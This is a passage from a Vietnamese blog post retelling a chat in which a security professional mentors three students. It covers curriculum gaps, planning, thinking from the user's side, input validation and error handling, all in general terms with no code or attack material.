hoàn toàn là học ngôn ngữ Basic. Học sinh học như thế, khi bị đẩy đến chỗ phải viết chương trình dùng ngôn ngữ Basic mà không có công cụ VB thì... bó tay. Còn khái niệm software engineering thì chẳng mấy ai đề cập đến. Cho nên khi thằng Duy chuyển cho em nội dung nó chat với anh lần trước, em thấy tiếc là đã vắng mặt :(" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ùm... quả thật là anh không nắm được tình hình ở VN cho lắm. Anh có sinh hoạt trên một diễn đàn khác thì thấy có rất ít người quan tâm hơn đến những ngôn ngữ lập trình mới và quan tâm sâu đến software engineering. Ngoài ra, phần lớn tình hình quả có những điểm phản ảnh điều em vừa nhận xét." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' Hưng không kém phần khích động: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Đó chỉ mới ở phương diện lập trình thôi đó anh. Các phương diện khác như networking, bảo mật thì rất sơ sài. Networking thì gần như là Microsoft Networking chớ chẳng phải là networking tổng quát. Còn bảo mật thì hầu như em chưa thấy ở trường dạy gì hết. Bởi vậy khi bắt đầu lò dò tham gia các diễn đàn, em thấy mình giống y như trong bụi nhảy ra vì có quá sức nhiều thứ mình chưa bao giờ nghe tới. Em nghe mấy thằng bạn đi học bên Sing, bên Châu Âu... bảo là bọn nó có nguyên một môn về security và môn này có nhiều phần nhỏ. Học xanh mặt luôn. Em không biết chừng nào nước mình mới đưa những thứ này vào giáo trình nữa. Còn vào diễn đàn chuyên bảo mật thì quanh đi quẩn lại chỉ toàn là những thứ đụng tới web, tới yahoo, chán ngấy đến cổ :(" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười và nhận xét: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Này, hình như bọn em kêu anh vào đây để 'tố khổ' chuyện giáo trình hay sao đó ;-). Kêu với ai chớ kêu với anh thì cũng như 'nước đổ đầu vịt' thôi bởi vì anh đâu có làm gì được đâu nào. Anh nghĩ bọn em và các sinh viên nói chung nên làm một việc gì đó tích cực hơn cho vấn đề này. Ví dụ, bọn em ngồi lại với nhau và phân tích cặn kẽ ưu, nhược điểm của giáo trình hiện tại. Đưa ra các đề nghị thay đổi và lý do cụ thể để bảo vệ các đề nghị này. Tất nhiên mọi thứ phải trên giấy bút đàng hoàng, câu cú, trình bày cho tươm tất rồi trình lên ông trưởng khoa thì hoạ may." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' Duy gởi một biểu tượng 'lè lưỡi' tỏ ý e ngại rồi nói: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Trời, anh đúng là lạc hậu quá rồi. Chắc anh ở nước ngoài lâu quá nên quên hết chuyện nước mình. Em thấy chuyện này cực kỳ khó thực hiện. Thứ nhất, bọn em không đủ sức hình thành một bản phân tích cho ngon lành để trình cho ông trưởng khoa. Thứ nhì, em không dám chắc ông trưởng khoa có buồn tiếp nhận bản phân tích này hay không. Thứ ba, cho dù ông ta có tiếp nhận đi chăng nữa, em cũng không dám tin là ông ấy làm gì đó với đề nghị này hay nó bị... chìm vào quên lãng." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi gật gù rồi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hèm... em đưa ra khó khăn, anh đề nghị hướng giải quyết nhưng hướng này xem ra không được hả? Anh chẳng biết phải làm gì hơn. Anh không thể nhận xét hay ý kiến nhiều vì chưa nắm rõ sự thể, chưa biết cái giáo trình em nói có nội dung như thế nào. Điều anh có thể đề nghị là nên làm một việc gì cụ thể và tích cực thì mới giải quyết được vấn đề. Nhưng sao tự nhiên lại 'tố khổ' vậy cà?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' Hưng nhanh nhảu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Không phải tố khổ đâu anh. Em muốn đưa chuyện này ra chỉ để anh thấy rằng thực tế bọn em phải đối diện nhiều hạn chế lắm. Riêng em thì em chỉ mong là anh đừng nghĩ rằng bọn em lười nhác nên chẳng thu hoạch được bao nhiêu trong chuyện học tập bởi vì lắm khi em hỏi anh những điều... ngớ ngẩn." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hì hì, hoá ra là muốn... phân bua đây. Có bao giờ em thấy anh phát biểu hay anh có thái độ gì chứng tỏ rằng anh nghĩ em lười nhác chưa? Em an tâm đi. Cứ thử chiêm nghiệm về mức độ trao đổi của anh em mình những lần đầu, lần này và những lần về sau, em sẽ thấy có những cái khác, có những cái biến thiên. Bởi vì không những chuyện kiến thức mà sự thông hiểu ý kiến và suy nghĩ của nhau làm cho việc trao đổi trở nên dễ dàng và thông suốt hơn nhiều. Nếu em quả thật lười biếng thì anh sẽ 'quạt' thẳng tay liền, đừng lo :). Vậy bọn em cần anh vào đây có chuyện gì gấp không?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' Khoa lên tiếng: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ không có gì gấp đâu anh. Phần em thì em chỉ thấy càng lúc càng lùng bùng sau mỗi lần xem lại nội dung trò chuyện của mấy anh em mình. Em đang cố gắng ghép nối những mẩu chuyện, những thông tin trong nội dung trò chuyện này lại với nhau để hình thành một khối thông tin liền lạc nhưng em thấy khó quá :(. Em định hỏi thêm anh một số điểm, được không anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Được chớ em. Tuy nhiên không phải ngay bây giờ bởi vì anh đang ở sở, anh phải logoff đây. Tối nay về nhà, mấy anh em mình nói chuyện tiếp nếu bọn em rảnh. Hay em thấy khi nào thì tiện?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' Hưng liếng thoán: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dễ quá mà anh. Bọn em vừa thi xong, thời gian không là vấn đề. Chiều nay em sẽ online canh chừng anh lên á." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' Duy diễu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Còn 'ẻm' để đâu mà lên ngồi canh chừng vậy pa? Nói lên là phải lên đó nha." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi kết thúc: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Thôi, anh phải dông đây. Có gì chiều tối gặp lại." và tôi logoff. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;--------------------- &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Cơm nước xong, tôi thong thả log vào YIM. Quả thật ba 'trự' Hưng, Khoa và Duy đang 'canh chừng'. Tôi chào và chọc quê 'cuti': &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hông bận lo 'ẻm' hay sao mà lên đây 'canh' thật vậy em?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' gởi tôi conference invitation kèm theo thông điệp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ái chà, thằng khứa Duy khai với anh hết rồi phải hông?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi tiếp nhận lời mời và kèm theo câu trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Khai gì em? khai vụ em đi hóng mát với 'ẻm' đó hả?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' và 'docco' gởi hai thông điệp gần như cùng một lúc, cùng chế diễu 'cuti': &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Thằng khỉ Hưng này cái gì cũng được, chỉ có chuyện 'ghệ' là dấu dấu diếm diếm như mèo dấu..." &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Trời, có gì mà dấu hả pa? 'ẻm' chịu đi chơi thì phải vỗ ngực tự hào chớ việc gì phải ngại?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi xen vào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Thôi, 'cuti' không thích 'bàn' chuyện này thì tha cho nó đi mấy đứa. Chừng nào nó muốn 'thổ lộ tinh tầm' thì tự nhiên nó sẽ... phun ra có... vòi thôi :)." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' không tha, chêm thêm: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em biết thằng khỉ Hưng quá rõ mà anh. Em học với nó từ cấp I lên, bây giờ nó đang nghĩ trong đầu em cũng biết nữa mà. Em chỉ chọc quê cho vui tí thôi chớ thằng này lịt lịt mà xịt ra khói đó." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười và lảng sang chuyện khác: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"OK, hồi chiều em nói là em có vài thắc mắc gì đó Khoa, em nói đi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' ngập ngừng: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Chà.... hông biết tự nhiên sao em quên tuốt luốt là mình muốn nói gì nữa. Anh chờ em một tí để em 'restart' lại con CPU trong não của em cái đã." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Chuyển hướng sang 'cuti' để 'haothu' có thời gian sắp xếp lại những điều mình muốn nói, Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Thong thả thôi em. Còn 'cuti' có nhận xét gì về nội dung Duy và anh nói chuyện lần trước không?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' nhanh nhẩu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Thì... đã chớ sao anh? nhưng chắc không đã bằng nói chuyện 'trực thoại' rồi đó. Em chỉ có cảm giác là những điều mấy anh em mình bàn càng ngày càng rộng ra chớ không phải càng ngày càng đi vào chi tiết. Em đoán rằng anh muốn chia xẻ những khái niệm quan trọng và cần thiết để tiếp cận vấn đề. Tuy nhiên, thực tình mà nói thì em thấy rất khó liên hệ nó đến môi trường thực tế. Có lẽ tụi em chưa đi làm, chưa có nhiều kinh nghiệm nên thấy những khái niệm anh đưa ra nó lạ lẫm quá." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' reo lên: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Trời, thằng Hưng nói sao đúng ý em vậy? Em cũng muốn nói với anh như thế. Em thấy những khái niệm về tính liền lạc, về sự quan trọng của giềng mối, dẫn đến chuyện nhìn vấn đề từ nhiều phía, rồi khái niệm và kỹ năng chuẩn bị trước khi thực hiện ý định.... mà anh đưa ra đều hết sức lý thú. Tuy nhiên, em ráng 'apply' vào trong thực tế em đang đối chọi thì chẳng biết phải bắt đầu từ đâu cả. :(" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi trầm ngâm vài giây rồi hỏi: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em cho anh một ví dụ thực tế mà em đang đối chọi xem?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ ví dụ như ở trường ra bài lập trình chẳng hạn. Yêu cầu dùng một ngôn ngữ lập trình nào đó để tính ngày, giờ, khoảng cách, chuỗi số, biến thiên.... Em thấy những thứ này chỉ cần hình thành một cái thuật toán nào đó rồi xem cú pháp ngôn ngữ làm thế nào là viết thôi. Em cố hình dung làm sao nhận định giềng mối của yêu cầu đến phần tạo thuật toán rồi đến chuyện tìm hiểu cú pháp. Và rồi, nhìn từ nhiều phía trong hoàn cảnh này là nhìn thế nào anh? Còn chuẩn bị kế hoạch thì tất nhiên là phải chuẩn bị rồi đó nhưng chẳng lẽ em phải viết một bản kế hoạch trên giấy?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Anh nghĩ em hơi bị... máy móc rồi. Những khái niệm kia nên ứng dụng một cách linh động, tùy hoàn cảnh, tùy mức độ lớn nhỏ của công việc. Mình không thể áp dụng mọi thứ một cách cứng nhắc được. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Nói về mặt giềng mối cho yêu cầu cụ thể ở trên với việc hình thành thuật toán và cú pháp của ngôn ngữ lập trình thì anh nghĩ rằng em khai triển nó đúng trình tự và logic rồi. Giềng mối giữa yêu cầu và thuật toán quá rõ ràng và hiển nhiên: phải hiểu được và hiểu đúng yêu cầu thì mới hình thành đúng thuật toán. Đi xa hơn nữa em có thể tự chất vấn mình để xem thuật toán mình vừa hình thành có tối ưu chưa. Sau khi hình thành kết quả cuối cùng cho thuật toán, mang nó vào việc coding chỉ là một bước ứng dụng. Thuật toán của em càng hay, càng súc tích, càng vững thì tự nhiên bước coding trở nên đơn giản và đẹp thôi. Theo anh đây là cái giềng mối hiển nhiên. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Nói về chuyện 'nhìn nhiều phía' thì có vẻ hơi trừu tượng hơn mặt 'giềng mối' một tí. Tuy nhiên, ở mức độ nào đó em vẫn có thể 'nhìn' nó ở góc độ khác nhau. Ví dụ em tự xét xem giải thuật được đặt ra với mục đích là gì? em muốn lấy kết quả cuối cùng mà chương trình trả về, hay em muốn thấy nó giải quyết vấn đề nhanh chậm, hiệu xuất ra sao trong cả một khối ứng dụng nào đó. Giả sử chương trình em viết sẽ được một người dùng và chỉ sử dụng những giá trị nhập đơn giản, đúng tiêu chuẩn thì sao? nếu 100 người cùng dùng và họ đòi hỏi giá trị nhập phức tạp hơn, đa dạng hơn thì sao? Đó là chưa kể em cần nhìn từ góc độ người dùng để hình thành chương trình của mình vững vàng hơn. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Riêng chuyện 'hình thành kế hoạch' thì anh nghĩ thế này. Đây là một thói quen và lối khai triển của mỗi cá nhân. Nếu em có thói quen và khả năng hình thành kế hoạch trong đầu một cách rành mạch mà không cần giấy bút thì không việc gì phải dùng giấy bút. Trường hợp này thật ra chỉ khả thi cho những công việc có tầm cỡ nhỏ và đơn giản. Một khi em phải tiếp diện với một công trình lớn, phân tích và hình thành kế hoạch trên giấy bút không những giúp em nhận định vấn đề một cách chính xác và chi tiết hơn, nó còn là một phương tiện lưu trữ bởi vì dăm ba ngày, một vài tháng em sẽ quên hết các chi tiết. Nếu em muốn quay lại (vì lý do nào đó) thì em vẫn còn thông tin lưu trữ. Ở khuôn khổ bài tập ở trường, có lẽ em chưa thấy sự quan trọng của việc hình thành kế hoạch (mặc dù ở mức độ nào đó em vẫn phải hình thành kế hoạch trước khi thực hiện) nhưng chắc chắc em sẽ thấy nó quan trọng như thế nào trên thực tế công việc. Cho mục đích hoàn tất bài tập, một trang nhăng nhít những chọn lựa, sửa đổi thuật toán và dăm ba dòng mã giả (psuedo code) trước khi em bắt tay vào viết, theo anh đó chính là 'hình thành kế hoạch' rồi :)." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' Khoa hỏi tiếp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Anh cho em hỏi chi tiết này nha? anh nói Đó là chưa kể em cần nhìn từ góc độ người dùng để hình thành chương trình của mình vững vàng hơn là sao anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ừa, anh cũng đoán nếu như em thực sự quan tâm đến kết quả em tạo ra, em sẽ thắc mắc khía cạnh này. Em nghĩ thế nào về câu nói ấy vậy?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' Khoa có vẻ ngập ngừng: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ, em nghĩ... à... ùm... mình viết chương trình xong rồi mình dùng nó để thử nghiệm thì mình đã tự đặt mình vào góc độ người dùng rồi phải không anh? Em nghĩ phải có lý do gì khác anh mới đề cập chi tiết này. Nếu nó chỉ đơn giản như thế thì anh nêu ra làm chi phải không ạ?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Đúng vậy, em nhận xét đúng lắm. "Nhìn từ khía cạnh người dùng" tất nhiên sẽ liên quan đến chuyện dùng chương trình này. Tuy nhiên, nhìn như thế nào mới là quan trọng. Khi em viết một chương trình hay tạo ra một quy định nào đó, em thường bị sa vào cõi chủ quan. Có nghĩa là em giả định mọi người cũng nghĩ như em. Ví dụ, em biết rõ chương trình của em chỉ tiếp nhận số nguyên chẳng hạn, khi thử nghiệm hiển nhiên em chỉ dùng các con số tròn trịa để dùng. Bởi thế, kết quả em nhận được luôn luôn chính xác. Tại sao em lại dùng những con số 'tròn trịa' để thử nghiệm? đây là vấn đề tâm lý mà thôi, trí não con người làm việc rất kỳ lạ ;-). Nếu người dùng bình thường lỡ tay gõ vào một số thực chẳng hạn, chuyện gì xảy ra? Hoặc họ lỡ tay gõ nhầm một dấu chấm, dấu phẩy trong phần INPUT thì chuyện gì xảy ra? Tất nhiên là chương trình sẽ có sự cố, phải không em?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' Hưng rú lên: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ái chà, hay thật. Nếu là em thì em cũng chẳng nghĩ đến chuyện người dùng sẽ gõ những gì khác ngoài các con số thực. Đúng là trí não con người kỳ lạ thật. Đây có phải là 'kinh nghiệm chiến trường' không anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ừa, 'kinh nghiệm chiến trường' đóng góp một phần nào đó nhưng theo anh, 'kế hoạch chuẩn bị' chu đáo giúp loại bỏ các sự cố này. Vậy, nhìn từ phương diện người dùng, em nghĩ sao nếu như em 'lỡ tay' gõ một giá trị gì đó và làm cả chương trình bị... treo?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' cười và trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ, thì em sẽ nghĩ rằng chương trình đó... chuối chớ sao anh? :)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi nói tiếp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Nếu thế thì mình nên làm gì để cho nó không... chuối nữa?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' liếng thoắng: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Mình mở rộng để chương trình ấy tiếp nhận thêm số thực?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' Duy chậm rãi: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em nghĩ mình cần dùng cơ chế 'error handling' nào đó. Đưa vào các cụm điều kiện cách để thẩm định xem giá trị INPUT có thoả mãn yêu cầu hay không trước khi xử lý." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ý kiến của em hay lắm đó Duy. Liệu mình mở rộng ra để tiếp nhận thêm số thực có đáp ứng chính xác yêu cầu của đề bài hay không Hưng? Đó là chưa kể trường hợp người dùng 'lỡ tay' gõ vào một ký tự nào đó bất hợp lệ. Anh thấy một điểm lý thú là mấy đứa nghiên về hướng tạo giải pháp cấp thời hơn là nhìn vấn đề ở bình diện tổng quát :)." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' chống chế: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em nghĩ mở rộng cũng hay mà anh. Chắc em suy nghĩ chưa kỹ hay sao đó." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ừa, có lẽ em chưa suy nghĩ kỹ không chừng ;-). Đà khía chi tiết này là vì anh muốn nhấn mạnh tầm quan trọng của việc chuẩn bị kế hoạch đó thôi. Nếu chuẩn bị kế hoạch kỹ thì em có dịp liệt kê ra hầu hết các tình huống và giải pháp cho mỗi tình huống hơn là nảy ra một ý kiến nhất thời nào đó." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi tiếp tục khơi mào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Vậy đứng trên phương diện bảo mật, sự nguy hiểm của việc thiếu xác thực giá trị nhập sẽ là gì?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'haothu' xuýt xoa: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ái chà, em thấy làm gì thì làm chớ software mình viết mà chính nó bị treo hay nó làm treo máy thì thật là xấu hổ. Nếu nói về mặt bảo mật thì rõ ràng sự cố này phạm lỗi bảo mật rồi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Đúng như vậy đó Khoa. Bất cứ sự cố ý hay vô tình làm software bị crash trong môi trường một hoặc nhiều người dùng đều có thể xem là bị phạm lỗi bảo mật (vì software thiếu an toàn). Khía cạnh bảo mật nằm ở chỗ tình trạng dịch vụ bị treo hoặc không còn tồn tại để cung cấp cho người dùng." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' reo lên: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"A, em liên tưởng đến những trường hợp thâm nhập trên web mà em có đọc qua nhiều nơi. Có phải ý anh là việc input validation không vững chắc thì sẽ dẫn tới hiệu quả thiếu bảo mật?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười và đáp lời 'docco': &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em nhận xét đúng lắm. Một HTML form hay bất cứ một phương tiện nào tiếp nhận dữ liệu nhập đều nên có cơ chế input validation. Thiếu cơ chế này, dữ liệu nhập có thể chứa những thứ bất hợp lệ (đối với chương trình ứng dụng) và sẽ tạo hậu quả lớn nhỏ, khác nhau, tùy theo hoàn cảnh. Không những 'input validation' hết sức quan trọng mà cơ chế 'error handling' cũng vậy. Một lập trình viên giỏi và cẩn thận thường đi xuyên qua bước 'chuẩn bị kế hoạch' để tạo nên các trường hợp cho 'error handling'. Cơ chế này càng tỉ mỉ thì cơ hội dẫn đến những biến cố tiêu cực và những thông tin nguy hại xảy ra càng ít." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'cuti' Hưng nhận xét: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hì hì, từ một bài tập lập trình mà anh dẫn đến cả chuyện thiết kế phần mềm lẫn khía cạnh bảo mật của nó được. Phải nói là em phục anh đó. Em nghĩ cái bài tập đó chỉ có tụi em dùng thôi, ông thầy chấm xong là vĩnh viễn chẳng bao giờ đụng tới mấy cái software 'đồ chơi' đó nữa anh ơi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười, đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hì hì, bởi thế ngay từ đầu anh đã nói là mình phải uyển chuyển, phải linh động trong khi ứng dụng một hoặc nhiều nguyên tắc / khái niệm cho việc gì đó. Không nên cứng nhắc không thì hoá ra trì trệ và thiếu ứng hiệu. Chuyện anh mở rộng ở đây chỉ là một số khía cạnh thường thấy trong khi đi học cũng như trong lúc đi làm thôi. Đó là những 'kinh nghiệm xương máu' anh muốn chia xẻ để em khỏi dẫm lại những bước anh đã dẫm :). Có thể em chưa liên tưởng những điểm trên rõ ràng ngay lúc này nhưng anh hy vọng một ngày không xa em sẽ thấy điều anh đặt ra ở đây nó 'thật' và 'thường gặp' đến mức nào. Tạo một chương trình nhỏ bé, đơn giản có thể khó thấy được tầm quan trọng của việc 'chuẩn bị kế hoạch' và chuyện 'error handling' hay 'input validating'. Tuy nhiên, nắm bắt được tầm quan trọng của các khái niệm này ngay lúc này thì sẽ đỡ vất vả hơn khi đụng phải những thứ to lớn hơn." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;'docco' lên tiếng: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em vẫn thấy những chuyện này quá gần với lãnh vực software engineering hơn là bảo mật anh à. Có lẽ em vẫn chưa hình dung được một chuyên viên bảo mật thật sự phải làm những gì. Cũng có thể những điều em nghe thấy đã tạo ra cho em một tiêu chuẩn nào đó về trách nhiệm của một chuyên viên bảo mật và tiêu chuẩn này hơi... khác những điều anh đưa ra." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em có nghe câu ngạn ngữ tiếng Anh: the first impression lasts chưa? Ấn tượng đầu tiên đóng vai trò rất quan trọng. Những điều em nghe thấy và đã tiếp nhận trước đây thường trở thành một thứ tiêu chuẩn của em. Anh thấy việc tiếp nhận một điều hoàn toàn mới dễ hơn là vứt bỏ 'tiêu chuẩn' cũ để tiếp nhận 'tiêu chuẩn' mới. Điều mình có thể rút ra ở đây là một chuyên viên bảo mật kinh nghiệm, một tay thâm nhập sừng sỏ và một lập trình viên dày dặn đều có chung một điểm: họ đều có khả năng chuẩn bị kế hoạch, có khả năng phân tích và thẩm định vấn đề. Còn lý do tại sao việc 'chuẩn bị kế hoạch' cẩn thận là việc cần thiết thì anh đã phân tích lần 